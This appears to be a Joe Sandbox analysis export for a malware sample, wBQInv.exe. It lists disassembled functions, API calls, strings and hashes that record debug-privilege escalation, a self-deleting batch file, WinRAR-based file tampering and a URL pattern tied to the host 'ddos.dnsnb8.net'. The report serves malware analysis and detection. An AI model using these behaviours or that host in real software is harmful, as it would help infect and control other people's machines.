                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe
                                      • API String ID: 2042498389-3836072103
                                      • Opcode ID: e91ecf576f780585498944dfb285ab20621c2e8d686159b27dddd691a9230712
                                      • Instruction ID: 31af825c6acc4c8ebba1b844e6e30f1b047fb48e8b0e66700f816fd721935572
                                      • Opcode Fuzzy Hash: e91ecf576f780585498944dfb285ab20621c2e8d686159b27dddd691a9230712
                                      • Instruction Fuzzy Hash: 2A0184B16412247BD7109BA59C0AFDF7EACEF45B60F108126B605DA1C1E5E49990C7EC
                                      Function 004114E1 Relevance: 4.6, APIs: 3, Instructions: 55COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 386 4114e1-4114fb 387 411541-411547 386->387 388 4114fd-411510 GetModuleHandleA 386->388 391 411573-411574 call 411638 387->391 392 411549-41154c 387->392 389 411512-411518 388->389 390 41151a-411535 VirtualQuery 388->390 389->387 394 411537-411539 390->394 395 41153b 390->395 398 411579-41157a ExitProcess 391->398 396 411569-411570 392->396 397 41154e-411555 392->397 394->387 394->395 395->387 397->396 399 411557-411566 call 411af9 397->399 399->396
                                      APIs
                                      • GetModuleHandleA.KERNEL32(00000000), ref: 00411504
                                      • VirtualQuery.KERNEL32(004114E1,?,0000001C), ref: 00411525
                                      • ExitProcess.KERNEL32 ref: 0041157A
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: ExitHandleModuleProcessQueryVirtual
                                      • String ID:
                                      • API String ID: 3946701194-0
                                      • Opcode ID: 74d5e1de528c1065fe89cc1986daa59654ada78936eca0a84cadbde39340eadd
                                      • Instruction ID: ae896a311a098bf80f618dfb80e42a61f766b3b77ec45bcc6e1ecb75029ffae5
                                      • Opcode Fuzzy Hash: 74d5e1de528c1065fe89cc1986daa59654ada78936eca0a84cadbde39340eadd
                                      • Instruction Fuzzy Hash: 22117071981215EFCF10DFA5B8856FE7BBCEBC4765B10803BF602D2260E2388981DB58
                                      Function 00411915 Relevance: 4.5, APIs: 3, Instructions: 41timeCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 402 411915-411922 403 411924-411926 402->403 404 411928-41192c 402->404 405 41196e-411970 403->405 406 41194f-411952 404->406 407 41192e-41194d memset GetFileTime 404->407 406->405 409 411954-411960 SetFileTime 406->409 408 411966-411968 407->408 410 41196a 408->410 411 41196c 408->411 409->408 410->411 411->405
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: FileTimememset
                                      • String ID:
                                      • API String ID: 176422537-0
                                      • Opcode ID: 5d8ea1610358a317abefe6f5d050f513bd085e1af1096218930e89ddf2f73813
                                      • Instruction ID: 16e038ba6a5b3c98832137599768a397bc3cceab8760f88099ecb421f0c863cd
                                      • Opcode Fuzzy Hash: 5d8ea1610358a317abefe6f5d050f513bd085e1af1096218930e89ddf2f73813
                                      • Instruction Fuzzy Hash: 53F0C872210209ABCB20CF22DC04BE77BECAB54361F00853BF626D1160E734D685CBB5
                                      Function 00416158 Relevance: 2.6, APIs: 2, Instructions: 58memoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 412 416158-416189 VirtualFree 413 41618c-416192 412->413 414 4160c7-4160cf 413->414 415 416198-4161b0 VirtualFree 413->415 414->413 416 4160d5-4160f8 VirtualAlloc 414->416 417 4161b2-4161b4 415->417 418 4161ba-4161c8 415->418 436 4160fa-4160fc call 4166c8 416->436 437 4160fe-416106 416->437 417->418 420 416243-416251 418->420 421 4161ca-4161d7 418->421 423 416253 420->423 424 416264-41626f 420->424 425 4161dd-4161e0 421->425 427 416255-416258 423->427 428 416271-416276 424->428 425->420 429 4161e2-4161f2 425->429 427->424 431 41625a-416262 427->431 432 416389-4163b1 VirtualProtect 428->432 433 41627c-416289 428->433 434 4161f5-4161fe 429->434 431->427 435 4163b7-4163ba 432->435 454 416292-416298 433->454 455 41628b 433->455 438 416200-416203 434->438 439 41620c-416219 434->439 440 4163fc-416416 VirtualProtect 435->440 441 4163bc-4163c2 435->441 436->437 444 416155-416189 VirtualFree 437->444 445 416108-41611d 437->445 447 416205-416208 438->447 448 41621b-416228 438->448 442 416238-41623f 439->442 462 416420-416425 440->462 463 416418-41641d 440->463 441->441 450 4163c4 441->450 442->434 449 416241 442->449 444->413 452 41611f-416121 445->452 456 41622a-416236 447->456 457 41620a 447->457 448->442 449->425 450->440 459 4163c6-4163cf 450->459 460 416151-416154 452->460 461 416123 452->461 458 4162a2-4162ac 454->458 455->454 456->442 457->442 464 4162b1-4162c8 458->464 465 4162ae 458->465 466 4163d1 459->466 467 4163d4-4163d8 459->467 460->444 461->460 468 416125-416128 461->468 469 416373-416384 464->469 470 4162ce-4162d4 464->470 465->464 466->467 471 4163da 467->471 472 4163dd-4163e1 467->472 473 416134-41613b 468->473 474 41612a-41612e 468->474 469->428 476 4162d6-4162d9 470->476 477 4162da-4162f1 470->477 471->472 478 4163e3 472->478 479 4163e7-4163fa VirtualProtect 472->479 481 416130-416132 473->481 482 41613d-41614f 473->482 474->473 474->481 476->477 484 4162f3-4162f9 477->484 485 416365-41636e 477->485 478->479 479->435 479->440 481->452 482->452 486 416314-416326 484->486 487 4162fb-41630f 484->487 485->458 489 416328-41634a 486->489 490 41634c-416360 486->490 488 416426-4164a9 487->488 499 416519-41651c 488->499 500 4164ab-4164c0 488->500 489->485 490->488 501 416583-416587 499->501 502 41651d-41651e 499->502 506 4164c2 500->506 507 416535-416537 500->507 504 416588-41658b 501->504 505 416522-416533 502->505 510 4165a1-4165a3 504->510 511 41658d-41658f 504->511 505->507 508 4164c5-4164cd 506->508 509 4164f8 506->509 512 416539 507->512 513 41659a 507->513 516 416542-416545 508->516 517 4164cf-4164d4 508->517 519 4164fa-4164fe 509->519 520 41656c-41656f 509->520 521 416591-416593 511->521 514 4165b4 512->514 515 41653b-416541 512->515 518 41659b-41659d 513->518 526 4165be-4165db 514->526 515->516 522 41654d-416550 516->522 523 416517-416518 517->523 524 4164d6-4164d9 517->524 518->521 525 41659f 518->525 527 416500 519->527 528 416572 519->528 520->528 521->518 529 416595 521->529 522->526 530 416552-416556 522->530 523->499 524->522 531 4164db-4164f5 524->531 525->504 537 4165dd-4165f6 526->537 527->505 533 416502 527->533 534 416573-416576 528->534 529->513 535 416578-41657a 530->535 536 416558-416569 530->536 531->509 533->534 538 416504-416513 533->538 534->535 535->537 540 41657c 535->540 536->520 539 4165f7-416608 537->539 538->507 541 416515 538->541 540->539 542 41657e-41657f 540->542 541->523 542->501
                                      APIs
                                      • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 004160DF
                                      • VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00416189
                                      • VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004161A5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Virtual$Free$Alloc
                                      • String ID:
                                      • API String ID: 1852963964-0
                                      • Opcode ID: b371d70f466650e911ca7fa034a803fe10fe2dcce9d886406292dc9ead934a50
                                      • Instruction ID: 28445cf57c7c87038881115c9c6a620433a452899eda9ea382d05f3a34604b31
                                      • Opcode Fuzzy Hash: b371d70f466650e911ca7fa034a803fe10fe2dcce9d886406292dc9ead934a50
                                      • Instruction Fuzzy Hash: 79119D32A006498FCF319E58CC913DE37A1EF05301F6A045ADE895B391DA79A985CB99

                                      Non-executed Functions

                                      Function 0041119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcess.KERNEL32(C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,?,?,?,?,?,?,004113EF), ref: 004111AB
                                      • OpenProcessToken.ADVAPI32(00000000,00000028,004113EF,?,?,?,?,?,?,004113EF), ref: 004111BB
                                      • AdjustTokenPrivileges.ADVAPI32(004113EF,00000000,?,00000010,00000000,00000000), ref: 004111EB
                                      • CloseHandle.KERNEL32(004113EF), ref: 004111FA
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,004113EF), ref: 00411203
                                      Strings
                                      • C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, xrefs: 004111A5
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe
                                      • API String ID: 75692138-3836072103
                                      • Opcode ID: 4b315f397ae12827a9a065e18b12bc9ebc2c0527a8538b866bd59fb315ef07a7
                                      • Instruction ID: 5986c4083127bb385f2de9ba2c382fc682271ace5243c259f58171d7d011bf78
                                      • Opcode Fuzzy Hash: 4b315f397ae12827a9a065e18b12bc9ebc2c0527a8538b866bd59fb315ef07a7
                                      • Instruction Fuzzy Hash: 5F01D2B5900209EFDB00DFE4C989AEEBFB8FB08346F108569E606A2250D7759F849B54
                                      Function 0041139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 004113BC
                                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004113DA
                                      • GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00411448
                                        • Part of subcall function 0041119F: GetCurrentProcess.KERNEL32(C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,?,?,?,?,?,?,004113EF), ref: 004111AB
                                        • Part of subcall function 0041119F: OpenProcessToken.ADVAPI32(00000000,00000028,004113EF,?,?,?,?,?,?,004113EF), ref: 004111BB
                                        • Part of subcall function 0041119F: AdjustTokenPrivileges.ADVAPI32(004113EF,00000000,?,00000010,00000000,00000000), ref: 004111EB
                                        • Part of subcall function 0041119F: CloseHandle.KERNEL32(004113EF), ref: 004111FA
                                        • Part of subcall function 0041119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,004113EF), ref: 00411203
                                      Strings
                                      • SeDebugPrivilege, xrefs: 004113D3
                                      • C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, xrefs: 004113A8
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$SeDebugPrivilege
                                      • API String ID: 4123949106-394547907
                                      • Opcode ID: 788e50f4508c195f989940e5c8ff4bb96da527359b8da1f365aa7e2383a922e4
                                      • Instruction ID: e2dcefbe06e24b3a7c546cb5ee792bb29f5e5bd457c95adcfb6d268d83f082a4
                                      • Opcode Fuzzy Hash: 788e50f4508c195f989940e5c8ff4bb96da527359b8da1f365aa7e2383a922e4
                                      • Instruction Fuzzy Hash: DC314071D00209FAEF209BA68C45FEFBBB8EB54705F20406BEA14B2151D7349E85CB64
                                      Function 0041239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • strstr.MSVCRT ref: 004123CC
                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00412464
                                      • GetFileSize.KERNEL32(00000000,00000000), ref: 00412472
                                      • CloseHandle.KERNEL32(?,00000000,00000000), ref: 004124A8
                                      • memset.MSVCRT ref: 004124B9
                                      • strrchr.MSVCRT ref: 004124C9
                                      • wsprintfA.USER32 ref: 004124DE
                                      • strrchr.MSVCRT ref: 004124ED
                                      • memset.MSVCRT ref: 004124F2
                                      • memset.MSVCRT ref: 00412505
                                      • wsprintfA.USER32 ref: 00412524
                                      • Sleep.KERNEL32(000007D0), ref: 00412535
                                      • Sleep.KERNEL32(000007D0), ref: 0041255D
                                      • memset.MSVCRT ref: 0041256E
                                      • wsprintfA.USER32 ref: 00412585
                                      • memset.MSVCRT ref: 004125A6
                                      • wsprintfA.USER32 ref: 004125CA
                                      • Sleep.KERNEL32(000007D0), ref: 004125D0
                                      • Sleep.KERNEL32(000007D0,?,?), ref: 004125E5
                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 004125FC
                                      • CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 00412611
                                      • SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 00412642
                                      • WriteFile.KERNEL32(?,00000006,?,00000000), ref: 0041265B
                                      • SetEndOfFile.KERNEL32 ref: 0041266D
                                      • CloseHandle.KERNEL32(00000000), ref: 00412676
                                      • RemoveDirectoryA.KERNEL32(?), ref: 00412681
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
                                      • String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user~1\AppData\Local\Temp\
                                      • API String ID: 2203340711-1252250577
                                      • Opcode ID: cd14c93ab48676df943cba8a077f21450235e532931f2a84c2c61846a1531694
                                      • Instruction ID: f097aa684b701b4a103e84c85e7d9fdd2a2f861f20ddf53720062e30c0a87328
                                      • Opcode Fuzzy Hash: cd14c93ab48676df943cba8a077f21450235e532931f2a84c2c61846a1531694
                                      • Instruction Fuzzy Hash: 0181C1B1504344ABD710DF60DD49FEB7BECEB88705F00452AF644D2190D7B8DA998BAA
                                      Function 0041274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • memset.MSVCRT ref: 00412766
                                      • memset.MSVCRT ref: 00412774
                                      • SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 00412787
                                      • wsprintfA.USER32 ref: 004127AB
                                        • Part of subcall function 0041185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00411118), ref: 00411867
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411878
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411880
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411890
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411894
                                      • wsprintfA.USER32 ref: 004127C6
                                      • CopyFileA.KERNEL32(?,00414C80,00000000), ref: 004127D4
                                      • wsprintfA.USER32 ref: 004127F4
                                        • Part of subcall function 00411973: PathFileExistsA.SHLWAPI(\NA`NA,00000000,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 00411992
                                        • Part of subcall function 00411973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 004119BA
                                        • Part of subcall function 00411973: Sleep.KERNEL32(00000064), ref: 004119C6
                                        • Part of subcall function 00411973: wsprintfA.USER32 ref: 004119EC
                                        • Part of subcall function 00411973: CopyFileA.KERNEL32(?,?,00000000), ref: 00411A00
                                        • Part of subcall function 00411973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00411A1E
                                        • Part of subcall function 00411973: GetFileSize.KERNEL32(?,00000000), ref: 00411A2C
                                        • Part of subcall function 00411973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00411A46
                                        • Part of subcall function 00411973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 00411A65
                                      • DeleteFileA.KERNEL32(?,?,00414E54,00414E58), ref: 0041281A
                                      • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,00414E54,00414E58), ref: 00412832
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
                                      • String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user~1\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
                                      • API String ID: 692489704-4282063453
                                      • Opcode ID: fcd4a8fc0bffd23da74839bc95e865d6f7f976bef435420b1848f1caf083b388
                                      • Instruction ID: 9c9e22ada4d232bf9b8507912d20dd84983921a168d7d70f1306ae984c2cafac
                                      • Opcode Fuzzy Hash: fcd4a8fc0bffd23da74839bc95e865d6f7f976bef435420b1848f1caf083b388
                                      • Instruction Fuzzy Hash: EA2165B694021C7BDB10EBA49D89FDB77ACDB04749F0045E7B644E2041E6789FC48AA8
                                      Function 00411581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0041185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00411118), ref: 00411867
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411878
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411880
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411890
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411894
                                      • wsprintfA.USER32 ref: 004115AA
                                      • wsprintfA.USER32 ref: 004115C6
                                      • lstrlen.KERNEL32(?), ref: 004115D2
                                      • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 004115EE
                                      • WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00411609
                                      • CloseHandle.KERNEL32(00000000), ref: 00411612
                                      • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 0041162D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
                                      • String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$open
                                      • API String ID: 617340118-2337187501
                                      • Opcode ID: 5cb1d723cfce592609b3deafe6b85c987253bb1f11eff34a6044983c9d00f85b
                                      • Instruction ID: cbadaabc62712c7cb743e8042b4aa8ea50b0f465c0e4dab6200f4a58547416db
                                      • Opcode Fuzzy Hash: 5cb1d723cfce592609b3deafe6b85c987253bb1f11eff34a6044983c9d00f85b
                                      • Instruction Fuzzy Hash: D21198769011287FD7109BA49C49EDB7FACDF49351F000062F549E2040DA749BC48BB4
                                      Function 0041120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,00411400), ref: 00411226
                                      • GetProcAddress.KERNEL32(00000000), ref: 0041122D
                                      • GetCurrentProcessId.KERNEL32(?,?,?,?,00411400), ref: 0041123F
                                      • OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,00411400), ref: 00411250
                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,?,?,?,?,00411400), ref: 0041129E
                                      • VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,?,?,?,?,00411400), ref: 004112B0
                                      • CloseHandle.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe,?,?,?,?,00411400), ref: 004112F5
                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,00411400), ref: 0041130A
                                      Strings
                                      • ntdll.dll, xrefs: 00411219
                                      • C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, xrefs: 00411262
                                      • ZwQuerySystemInformation, xrefs: 00411212
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$ZwQuerySystemInformation$ntdll.dll
                                      • API String ID: 1500695312-2974552124
                                      • Opcode ID: 80450373dc2ba761ad7ac17881a6d3966376e8a1ee9bf33c3550adfb5052b140
                                      • Instruction ID: 055b7b48e861c1b5f88dc0c96562db98311b6d4a868fadab141ee84b0d27a87b
                                      • Opcode Fuzzy Hash: 80450373dc2ba761ad7ac17881a6d3966376e8a1ee9bf33c3550adfb5052b140
                                      • Instruction Fuzzy Hash: 5621F771705311ABD7209F54CC04BEBBEA8FB49B01F10492AFA45F6254C774DA80C7AD
                                      Function 0041189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • memset.MSVCRT ref: 004118B1
                                      • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,771B0F00,75A38400), ref: 004118D3
                                      • CloseHandle.KERNEL32(I%A), ref: 004118E9
                                      • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004118F0
                                      • GetExitCodeProcess.KERNEL32(?,?), ref: 00411901
                                      • CloseHandle.KERNEL32(?), ref: 0041190A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
                                      • String ID: I%A
                                      • API String ID: 876959470-1763888828
                                      • Opcode ID: a5caa183447ac1abf4954430ff02af5ffcecc241167ea70410c4fb387fac97d3
                                      • Instruction ID: 01b6c72a2c17354b4bde2982ad92e5ba522c08d924229b4e6ce74dd3eefb2068
                                      • Opcode Fuzzy Hash: a5caa183447ac1abf4954430ff02af5ffcecc241167ea70410c4fb387fac97d3
                                      • Instruction Fuzzy Hash: DC01BC76900128BBCB20AF92DC08DDFBF7DEF89321F008022FA15A11A4D2354A58CAA4
                                      Function 0041185B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 31timeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00411118), ref: 00411867
                                      • srand.MSVCRT ref: 00411878
                                      • rand.MSVCRT ref: 00411880
                                      • srand.MSVCRT ref: 00411890
                                      • rand.MSVCRT ref: 00411894
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
